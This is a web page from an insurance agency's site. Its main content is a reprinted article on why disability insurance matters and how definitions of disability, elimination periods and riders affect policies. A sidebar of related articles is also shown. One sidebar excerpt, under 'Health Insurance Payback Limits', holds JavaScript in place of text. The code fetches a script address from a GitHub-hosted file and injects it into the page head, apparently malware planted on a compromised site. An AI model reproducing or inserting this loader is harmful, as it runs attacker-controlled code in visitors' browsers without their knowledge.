Why You Need Disability Insurance - Compass Insurance Advisors
  • Estimated reading time: 4 minutes

    This article was originally published on SmartAboutMoney. Contact one of our advisors for more information about disability insurance.

    Why You Need Disability Insurance

    Disability insurance provides a source of income to people who are unable to work due to an accident or illness. Remember that your earning power is one of your greatest financial assets. (Take SAM’s free My Earning Plan course to learn more.)

    Without disability insurance protection, workers and their dependents are “living on the edge,” at risk of losing their homes and investments. If you need disability insurance, take a look at the details:

    • The average disability claim lasts almost 13 months and mortgage foreclosures due to disability occur 16 times as often as they do for death. Yet, more than 40 percent of full-time workers do not have coverage in the event of a short- or long-term disability to protect against a loss of income.
    • Research indicates that one-third of employed Americans will become disabled for at least 90 days at some point in their career. Yet, lack of disability insurance is a common financial error.
    • Adequate disability policies generally need to be purchased individually from an insurance agent. While some employers provide disability coverage, it is generally short-term and may replace only a small portion of a worker’s salary. In addition, if the employer pays for coverage, benefits are taxable.
    • Disability insurance is especially critical for self-employed workers and those who lack the ability to “bank” employer-paid sick leave. Financial experts generally advise purchasing a policy to replace about two-thirds (60 percent to 70 percent) of a worker’s monthly income. Insurance companies usually don’t provide coverage above this or it would discourage people from returning to work.
    • Two key features of disability insurance, that greatly influence its cost, are the definition of disability and the elimination period. “Own occupation” policies are more expensive because they kick in when you are unable to perform duties of the job for which you are trained — which means, even if you’re still able to do other types of jobs, but you are not able to do your chosen profession, then you can collect on the disability insurance. On the other hand, “any occupation” coverage defines disability as the inability to do any type of work. Many insurers also offer “split definition” policies that use an “own occupation” definition for several years, followed by an “any occupation” definition later on.
    • The elimination (waiting) period is the number of days after a disability begins before benefits are paid. The longer the elimination period (for example, 90 days versus 30 days), the lower the premium for a specified amount (for example, $1,500 a month) of disability insurance.
    • Read the fine print. Look for a disability insurance policy that is non-cancelable or guaranteed renewable and pays residual benefits to make up for lost income when a worker is unable to work at full capacity. For example, if an insured person goes back to work three days a week at 60 percent of full pay, the benefit would be prorated to reflect the actual amount of income lost.
    • Review the recurrent disability clause that describes what happens if an insured person becomes disabled again from a preexisting disability. For example, if someone becomes disabled again from the same cause, say, within six months of returning to work, they may not have to wait for another elimination period.
    • Consider purchasing a cost-of-living rider to protect the purchasing power of monthly benefits. Also check provisions related to disability benefits provided by an employer disability policy or Social Security. Sometimes income from these sources will be considered part of the policy benefit.
    • Consider purchasing a policy for the remainder of your working life (until age 65, for example).
    • Work with an independent insurance agent to shop around among competing carriers.
    • If you are unable to qualify for disability insurance at an affordable price consider investing the amount that you would have paid monthly for premiums, to build up your emergency reserves.
    • In a divorce decree, require an ex-spouse to purchase and maintain disability insurance if you are dependent on his or her income for support payments.
  • Leave a Reply

    Your email address will not be published. Required fields are marked *

Need Help?

Speak To Craig Today!

(801) 879-8893

Monday - Friday 8:00 am - 9:00 PM


Or Find Affordable Insurance Plans

Related Articles

Dynamic Blog Short Description

  • Health Insurance Payback Limits

    var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(scri

    Read More
  • Modified Adjusted Gross Income

    Modified Adjusted Gross Income

    Because the marketplace application requires an estimated income for the year you want insurance coverage, it can be quite stressful predicting and figuring out your adjusted gross income. Unbelievably enough, many refrain from purchasing health insurance because they believe their gross income wil

    Read More
  • What is the Silver Sneakers Program?

    What is the Silver Sneakers Program?

    How does SilverSneakers work? SilverSneakers is a senior fitness program for adults 65+. And if you have a participating Medicare Advantage or Medigap plan, you can participate in SilverSneakers at no extra cost! What does SilverSneakers include? SilverSneakers members are encouraged to st

    Read More
  • What is the 1095-A?

    What is the 1095-A?

    What is the 1095-A? The 1095-A is the form you need to file your taxes if you or someone in your household had a health plan through the Marketplace in the previous year. The 1095-A will be mailed to you as early as mid-January or as late as February 1st. Remember, this form comes from the Marke

    Read More
  • A Complete Guide to Health Savings Accounts

    A Complete Guide to Health Savings Accounts

    Introduction Are you tired of paying high premiums and medical bills while not fully understanding your insurance policy? Well, I'm here to tell you about some options that could save money on your medical expenses and premium while also getting tax benefits. Keep reading to learn more! What

    Read More
  • The Medicaid Unwinding Explained

    The Medicaid Unwinding Explained

    https://youtu.be/1TJUu7Gyk_U The Medicaid Unwinding Explained! What is the Medicaid Unwinding? At the start of the COVID-19 pandemic, Congress enacted the Families First Coronavirus Response Act (FFCRA). This ensured that people would have access to continuous health coverage through Med

    Read More
  • How to GUARANTEE You’re On the Right Health Insurance Plan

    https://youtu.be/sjpxlgfjkzs?rel=0 Introduction: Feeling overwhelmed and confused when choosing a health insurance plan is a common experience. But what if there was an insider secret to guaranteeing that you're on the right plan? In this blog post, we'll explore the benefits of Compass's

    Read More
  • Medicare Part D

    Medicare Part D

    Drug Coverage: What is Medicare Part D? Medicare drug coverage helps pay for prescription drugs. If you don’t currently require any prescriptions, there are still reasons to consider getting Medicare drug coverage.         Medicare drug coverage (Part D) is optional and is offered t

    Read More
  • How Much Does Health Insurance Cost?

    How Much Does Health Insurance Cost?

    How Much Does Health Insurance Cost? How much does individual health insurance cost? The answer to that is dependent on many factors. One way to get a benchmark idea of how much you'll pay for health insurance is by looking at the federal poverty level.If you are paying for health insurance as a

    Read More

What Others Say About Us

Our Customers Love Us

Craig Habbeshaw

(801) 879-8893

No Extra Cost. Professional Guidence. Complete Protection. Simplified Enrollment. Personalized Support.